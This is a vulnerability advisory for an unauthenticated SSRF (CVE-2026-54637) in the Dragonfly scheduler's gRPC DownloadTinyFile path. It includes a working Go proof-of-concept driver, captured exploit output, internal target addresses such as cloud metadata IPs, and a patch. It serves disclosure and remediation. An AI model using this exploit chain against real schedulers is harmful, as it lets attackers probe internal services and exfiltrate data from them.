PT-2026-56058 · Go · D7Y.Io/Dragonfly/V2

Published

2026-07-06

·

Updated

2026-07-06

·

CVE-2026-54637

CVSS v4.0

5.5

Medium

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Summary

The Dragonfly scheduler's v1 gRPC service contains an unauthenticated Server-Side Request Forgery (SSRF). When a peer reports a successful download of a TINY task, the scheduler calls Peer.DownloadTinyFile() and issues an HTTP GET to a host and port taken verbatim from the attacker-controlled PeerHost.Ip / PeerHost.DownPort fields of the gRPC request body. The HTTP client uses a bare http.Transport with no address validation, so a remote, unauthenticated client can force the scheduler to connect to arbitrary internal addresses, including 127.0.0.1 (loopback), 169.254.0.0/16 (link-local, e.g. cloud metadata), and RFC1918 ranges. The fetched response is stored in Task.DirectPiece and can subsequently be served to other peers, making this a read-SSRF with a data-exfiltration path.
The manager's preheat code path already wraps its HTTP client with nethttp.NewSafeDialer() (which rejects non-global-unicast destinations); the scheduler's DownloadTinyFile path is missing this guard (sibling gap).

Severity

Medium. The attack requires no authentication (the scheduler gRPC server runs with insecure transport credentials by default and has no auth interceptor), and the destination is fully attacker-controlled. Impact is limited to read-SSRF: blind reachability probing of internal hosts/ports plus exfiltration of up to TinyFileSize (128) bytes per task from internal HTTP services into Task.DirectPiece. It is not remote code execution, and PeerHost.DownPort is constrained by proto validation to >= 1024, which excludes destination port 80.

Affected component

  • Repository: dragonflyoss/dragonfly
  • Go module: d7y.io/dragonfly/v2
  • Component: scheduler, v1 gRPC protocol
  • Affected file: scheduler/resource/standard/peer.go (DownloadTinyFile), reached via scheduler/service/service v1.go (storeHost, RegisterPeerTask, ReportPeerResult, handlePeerSuccess)
  • Verified against: latest release v2.4.4-rc.2 (commit 0822e3aecc3369017d6b25c9441ff6f318129b31)

Description / Root cause

The scheduler exposes the v1 gRPC service without authentication by default:
A remote client can therefore invoke RegisterPeerTask and ReportPeerResult without credentials. The PeerHost message carried in the request is consumed by [storeHost in scheduler/service/service v1.go lines 816-845](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service v1.go#L816-L845), which copies peerHost.Ip and peerHost.DownPort directly into resource.Host.IP and resource.Host.DownloadPort with no destination-address restriction. The proto validator only requires PeerHost.Ip to be a syntactically valid IP (net.ParseIP != nil) and DownPort in [1024, 65535); it does not restrict the address to global-unicast, so 127.0.0.1, 169.254.169.254, and RFC1918 addresses all pass validation.
When the reported peer is a TINY task, [handlePeerSuccess lines 1176-1202](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service v1.go#L1176-L1202) calls peer.DownloadTinyFile() and stores the result in peer.Task.DirectPiece. The sink, DownloadTinyFile lines 435-478, builds the URL from net.JoinHostPort(p.Host.IP, p.Host.DownloadPort) and dispatches it through a bare http.Transport (TLSClientConfig: InsecureSkipVerify: true) with no DialContext/socket control:
golang
targetURL := url.URL{
  Scheme:  "http",
  Host:   net.JoinHostPort(p.Host.IP, strconv.Itoa(int(p.Host.DownloadPort))),
  Path:   fmt.Sprintf("download/%s/%s", p.Task.ID[:3], p.Task.ID),
  RawQuery: fmt.Sprintf("peerId=%s", p.ID),
}

req, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL.String(), nil)
if err != nil {
  return []byte{}, err
}

req.Header.Set(headers.Range, fmt.Sprintf("bytes=%d-%d", 0, p.Task.ContentLength.Load()-1))
p.Log.Infof("download tiny file %s, header is : %#v", targetURL.String(), req.Header)

client := &http.Client{
  Timeout: 30 * time.Second,
  Transport: &http.Transport{
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
  },
}

resp, err := client.Do(req)
By contrast, the manager's preheat path in internal/job/image.go line 211 sets DialContext: nethttp.NewSafeDialer().DialContext, and safeSocketControl in pkg/net/http/http.go lines 60-80 rejects any destination where !ip.IsGlobalUnicast(). The scheduler DownloadTinyFile path is missing this protection.

Proof of Concept / End-to-end verification

All three drivers below were built inside the d7y.io/dragonfly/v2 module at commit 0822e3aecc3369017d6b25c9441ff6f318129b31 (release v2.4.4-rc.2), so they invoke the genuine, unmodified production sink standard.Peer.DownloadTinyFile() and the genuine nethttp.NewSafeDialer() / safeSocketControl. No reimplementation of the sink is used in the positive control.

1) Pinned build

bash
git clone --depth 1 --branch v2.4.4-rc.2 
 https://github.com/dragonflyoss/dragonfly.git
cd dragonfly
git rev-parse HEAD   # 0822e3aecc3369017d6b25c9441ff6f318129b31
go version       # go1.26.1

2) Confirming the deployed scheduler binary is unauthenticated by default

The scheduler builds and serves the v1 gRPC service with insecure transport credentials when Server.TLS is unset (the shipped default). The relevant decision is at scheduler/scheduler.go:235-246:
golang
if cfg.Server.TLS != nil {
  // Initialize grpc server with tls.
  transportCredentials, err := rpc.NewServerCredentials(cfg.Server.TLS.CACert, cfg.Server.TLS.Cert, cfg.Server.TLS.Key)
  if err != nil {
    logger.Errorf("failed to create server credentials: %v", err)
    return nil, err
  }

  schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(transportCredentials))
} else {
  // Initialize grpc server without tls.
  schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(rpc.NewInsecureCredentials()))
}
and the v1 handlers RegisterPeerTask / ReportPeerResult are registered with no auth interceptor (pkg/rpc/scheduler/server/server.go:71-90). Any network client can therefore drive the chain RegisterPeerTask -> (TINY task) -> ReportPeerResult -> handlePeerSuccess -> DownloadTinyFile using a PeerHost whose Ip/DownPort point at an internal target.

3) Attacker-supplied host (exactly as storeHost ingests it)

storeHost (service v1.go:816) constructs the resource host straight from the gRPC PeerHost:
golang
host := resource.NewHost(
  peerHost.Id, peerHost.Ip, peerHost.Hostname, peerHost.Hostname,
  peerHost.RpcPort, peerHost.DownPort, peerHost.ProxyPort, types.HostTypeNormal,
  options...,
)
// later branch:
host.DownloadPort = peerHost.DownPort
DownloadTinyFile then uses p.Host.IP / p.Host.DownloadPort verbatim. The driver below sets these fields exactly as storeHost would for an attacker-supplied PeerHost.Ip = 127.0.0.1, PeerHost.DownPort = <internal port>, then calls the real DownloadTinyFile().

4) Positive-control driver (poc ssrf/main.go) — drives the real sink

golang
// E2E driver: calls the REAL production sink standard.Peer.DownloadTinyFile()
// with Host.IP/DownloadPort set exactly as service v1.go storeHost() sets them
// from the attacker-controlled gRPC PeerHost.Ip/DownPort, then reproduces
// handlePeerSuccess() DirectPiece store to prove server-side fetch + exfil.
package main

import (
  "fmt"
  "net"
  "net/http"
  "os"
  "strconv"
  "strings"
  "time"

  commonv2 "d7y.io/api/v2/pkg/apis/common/v2"
  "d7y.io/dragonfly/v2/pkg/types"
  "d7y.io/dragonfly/v2/scheduler/resource/standard"
)

func main() {
  var captured []string
  // Internal-only sentinel bound to loopback: an address an external attacker
  // cannot route to directly. If the scheduler reaches it, that is SSRF.
  ln, err := net.Listen("tcp", "127.0.0.1:0")
  if err != nil {
    panic(err)
  }
  addr := ln.Addr().(*net.TCPAddr)
  sentinelIP := "127.0.0.1"
  sentinelPort := int32(addr.Port)
  payload := []byte("INTERNAL-SECRET-METADATA-abc123") // 31 bytes, <=128 => TINY
  srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    line := fmt.Sprintf("%s %s%s | Range=%q peerId=%q Host=%s",
      r.Method, r.URL.Path, ifq(r.URL.RawQuery), r.Header.Get("Range"),
      r.URL.Query().Get("peerId"), r.Host)
    captured = append(captured, line)
    w.Header().Set("Content-Length", strconv.Itoa(len(payload)))
    w.WriteHeader(http.StatusOK)
    w.Write(payload)
  })}
  go srv.Serve(ln)
  time.Sleep(100 * time.Millisecond)
  fmt.Printf("[sentinel] internal listener on %s:%d (loopback, not externally routable)
", sentinelIP, sentinelPort)

  // Build REAL production resource objects exactly as storeHost() does:
  // host.IP <- peerHost.Ip ; host.DownloadPort <- peerHost.DownPort (attacker-controlled)
  host := standard.NewHost(
    "attacker-peer-id", sentinelIP, "attacker-host", "attacker-host",
    8000, sentinelPort /*downloadPort = peerHost.DownPort*/, 8002,
    types.HostTypeNormal,
  )
  taskID := "deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe"
  task := standard.NewTask(taskID, "http://example.invalid/tiny", "", "",
    commonv2.TaskType STANDARD, nil, nil, 0)
  task.ContentLength.Store(int64(len(payload))) // TINY size scope
  peer := standard.NewPeer("attacker-peer", task, host)

  fmt.Printf("[scheduler-resource] SizeScope=%v (TINY=%v) ContentLength=%d
",
    task.SizeScope(), task.SizeScope() == commonv2.SizeScope TINY, task.ContentLength.Load())
  fmt.Printf("[scheduler-resource] Host.IP=%s Host.DownloadPort=%d (from gRPC PeerHost.Ip/DownPort)
",
    host.IP, host.DownloadPort)

  // Invoke the REAL production sink (unmodified upstream code).
  data, err := peer.DownloadTinyFile()
  if err != nil {
    fmt.Printf("[sink] DownloadTinyFile error: %v
", err)
  }

  // Reproduce handlePeerSuccess DirectPiece store (exfil sink).
  if int64(len(data)) == task.ContentLength.Load() {
    task.DirectPiece = data
  }

  fmt.Printf("
===== RESULT =====
")
  fmt.Printf("sentinel captured %d request(s):
", len(captured))
  for , l := range captured {
    fmt.Printf(" >>> %s
", l)
  }
  fmt.Printf("DownloadTinyFile returned %d bytes: %q
", len(data), string(data))
  fmt.Printf("Task.DirectPiece (exfil-reachable, served to other peers) = %q
", string(task.DirectPiece))
  if len(captured) > 0 && string(task.DirectPiece) == string(payload) {
    fmt.Println("VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece")
  } else {
    fmt.Println("VERDICT: no server-side fetch occurred")
  }
  srv.Close()
}

func ifq(q string) string {
  if q == "" {
    return ""
  }
  if strings.HasPrefix(q, "?") {
    return q
  }
  return "?" + q
}
Build and run:
bash
GOFLAGS=-mod=mod go build -o poc ssrf/driver ./poc ssrf/
POC MODE=default-vulnerable-path ./poc ssrf/driver

5) Captured output (positive control)

[sentinel] internal listener on 127.0.0.1:57710 (loopback, not externally routable)
[scheduler-resource] SizeScope=TINY (TINY=true) ContentLength=31
[scheduler-resource] Host.IP=127.0.0.1 Host.DownloadPort=57710 (from gRPC PeerHost.Ip/DownPort)
INFO standard/peer.go:455 download tiny file http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, header is : http.Header{"Range":[]string{"bytes=0-30"}}

===== RESULT =====
sentinel captured 1 request(s):
 >>> GET /download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer | Range="bytes=0-30" peerId="attacker-peer" Host=127.0.0.1:57710
DownloadTinyFile returned 31 bytes: "INTERNAL-SECRET-METADATA-abc123"
Task.DirectPiece (exfil-reachable, served to other peers) = "INTERNAL-SECRET-METADATA-abc123"
VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece
The scheduler's own log line confirms it dispatched GET http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, the internal sentinel captured the request verbatim, and the response body landed in Task.DirectPiece (which is served back to other peers via Task.CanReuseDirectPiece), demonstrating the exfiltration path.

6) Negative control (poc negctrl/main.go) — the sibling SafeDialer rejects the same targets

This driver applies the manager preheat's own nethttp.NewSafeDialer().DialContext to the identical targets, proving the guard the scheduler path is missing would block them:
golang
package main

import (
  "fmt"
  "net"
  "net/http"
  "time"

  nethttp "d7y.io/dragonfly/v2/pkg/net/http"
)

func tryDial(target string) {
  tr := &http.Transport{DialContext: nethttp.NewSafeDialer().DialContext} // manager preheat transport
  c := &http.Client{Transport: tr, Timeout: 3 * time.Second}
  req,  := http.NewRequest(http.MethodGet, "http://"+target+"/download/x", nil)
   , err := c.Do(req)
  if err != nil {
    fmt.Printf(" [SafeDialer] %-24s => BLOCKED: %v
", target, err)
  } else {
    fmt.Printf(" [SafeDialer] %-24s => ALLOWED (reached)
", target)
  }
}

func main() {
  ln,  := net.Listen("tcp", "0.0.0.0:0")
  pubPort := ln.Addr().(*net.TCPAddr).Port
  go http.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) }))
  time.Sleep(100 * time.Millisecond)
  fmt.Println("Negative control - manager preheat's SafeDialer applied to same targets:")
  tryDial("127.0.0.1:" + fmt.Sprint(pubPort)) // loopback
  tryDial("169.254.169.254:80")        // link-local metadata
  tryDial("10.0.0.1:80")            // RFC1918
  tryDial("8.8.8.8:80")             // global unicast
  ln.Close()
}
Output:
Negative control - manager preheat's SafeDialer applied to same targets:
 [SafeDialer] 127.0.0.1:57904     => BLOCKED: dial tcp 127.0.0.1:57904: ip 127.0.0.1 is invalid
 [SafeDialer] 169.254.169.254:80    => BLOCKED: dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid
 [SafeDialer] 10.0.0.1:80       => BLOCKED: context deadline exceeded (network timeout; Control allows RFC1918)
 [SafeDialer] 8.8.8.8:80        => BLOCKED: context deadline exceeded (network timeout; Control allows global unicast)
safeSocketControl rejects loopback (127.0.0.1) and link-local (169.254.169.254) at the socket-control layer with the errors ip 127.0.0.1 is invalid and ip 169.254.169.254 is invalid respectively. RFC1918 and global-unicast pass socket control (the timeouts are just no network route in the test sandbox). This shows that the manager path blocks the high-value loopback/metadata destinations that the scheduler DownloadTinyFile path reaches unchecked.

7) Patched-build E2E (poc patched/main.go) — the fix blocks internal, preserves legitimate

This driver reproduces DownloadTinyFile's transport with the proposed fix (DialContext: nethttp.NewSafeDialer().DialContext, parity with manager preheat) and shows internal targets are blocked while a global-unicast target still works:
golang
client := &http.Client{
  Timeout: 5 * time.Second,
  Transport: &http.Transport{
    DialContext:   nethttp.NewSafeDialer().DialContext, // <-- THE FIX
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
  },
}
Output:
[patched] host global-unicast IP for positive case: 192.168.1.27

=== PATCHED DownloadTinyFile (SafeDialer applied) ===
 loopback 127.0.0.1:58059    => err=Get "http://127.0.0.1:58059/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p1": dial tcp 127.0.0.1:58059: ip 127.0.0.1 is invalid bytes=0
 metadata 169.254.169.254:80   => err=Get "http://169.254.169.254:80/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p2": dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid bytes=0
 global-unicast 192.168.1.27:58062 => err=<nil> bytes=31 (data="INTERNAL-SECRET-METADATA-abc123")
After the fix, loopback and link-local metadata destinations are rejected, while a legitimate global-unicast peer download still succeeds.

Impact

A remote, unauthenticated attacker who can reach the scheduler's gRPC port can:
  1. Probe internal services for liveness/open ports by observing timing and error differences (blind SSRF) against 127.0.0.1, 169.254.0.0/16, and RFC1918 addresses on ports >= 1024.
  2. Exfiltrate up to TinyFileSize (128) bytes per task from reachable internal HTTP services: the scheduler stores the fetched body in Task.DirectPiece, which is then served to other peers via the direct-piece reuse path.
This is read-SSRF with limited exfiltration, not RCE. The DownPort >= 1024 proto constraint excludes destination port 80 (so a metadata service listening on :80 is not directly reachable), but internal admin/debug/metrics endpoints, loopback services, and container-network services on high ports are reachable.

Patches / Remediation

Apply the same protection the manager preheat path already uses. In DownloadTinyFile (scheduler/resource/standard/peer.go), set the transport's DialContext to nethttp.NewSafeDialer().DialContext so that non-global-unicast destinations (loopback, link-local) are rejected at the socket-control layer:
golang
client := &http.Client{
  Timeout: 30 * time.Second,
  Transport: &http.Transport{
    DialContext:   nethttp.NewSafeDialer().DialContext,
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
  },
}
A defense-in-depth complement is to validate peerHost.Ip in storeHost (reject non-global-unicast addresses before storing them on the host), which would also cover other consumers of Host.IP. Note that IsGlobalUnicast() (as used by safeSocketControl) treats RFC1918 addresses as valid; closing internal-private SSRF entirely would require an additional private-range check, which is a pre-existing limitation shared with the manager path and may be out of scope for this fix.

References

Fix

SSRF

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-918

Related Identifiers

CVE-2026-54637
GHSA-CHWM-M7G7-685G

Affected Products

D7Y.Io/Dragonfly/V2